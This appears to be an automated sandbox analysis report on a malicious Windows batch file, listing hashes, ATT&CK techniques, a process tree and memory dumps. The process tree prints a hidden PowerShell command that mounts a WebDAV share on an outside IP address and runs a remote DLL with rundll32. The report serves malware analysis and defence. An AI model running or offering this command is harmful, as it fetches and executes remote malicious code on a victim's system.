44591674ae3786c26756e068b3c5de06b53281283c9f4cc110e93cf490b47631

Analysis

max time kernel
118s
max time network
118s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
14/07/2024, 01:55

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General

Target

1938342136125709.bat
Size

2KB
MD5

4d53c37de7d500e8fa54606f67f87e3b
SHA1

031df2aa01ce9cfcec1593c81ba53561390b1de4
SHA256

44591674ae3786c26756e068b3c5de06b53281283c9f4cc110e93cf490b47631
SHA512

ea77104555e5ed72e38bc966ada486a977f8dc955af10846a9dc8b5c0d758021fe1153cea164696e2cd9ca9f61508df6721f6ae1cb2fd7fc628b138f87c45a64

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2688	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2688	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2688	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2836	wordpad.exe
2836	wordpad.exe
2836	wordpad.exe
2836	wordpad.exe
2836	wordpad.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2632 wrote to memory of 2836	2632	cmd.exe	31
PID 2632 wrote to memory of 2836	2632	cmd.exe	31
PID 2632 wrote to memory of 2836	2632	cmd.exe	31
PID 2632 wrote to memory of 2688	2632	cmd.exe	32
PID 2632 wrote to memory of 2688	2632	cmd.exe	32
PID 2632 wrote to memory of 2688	2632	cmd.exe	32
PID 2688 wrote to memory of 2520	2688	powershell.exe	34
PID 2688 wrote to memory of 2520	2688	powershell.exe	34
PID 2688 wrote to memory of 2520	2688	powershell.exe	34
PID 2688 wrote to memory of 2592	2688	powershell.exe	35
PID 2688 wrote to memory of 2592	2688	powershell.exe	35
PID 2688 wrote to memory of 2592	2688	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\1938342136125709.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2632
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2836
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\2282.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2688
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:2520
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\2282.dll entry
    3⤵
    PID:2592

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2688-23-0x000000001B6A0000-0x000000001B982000-memory.dmp

Filesize
2.9MB

Download
memory/2688-24-0x00000000027A0000-0x00000000027A8000-memory.dmp

Filesize
32KB

Download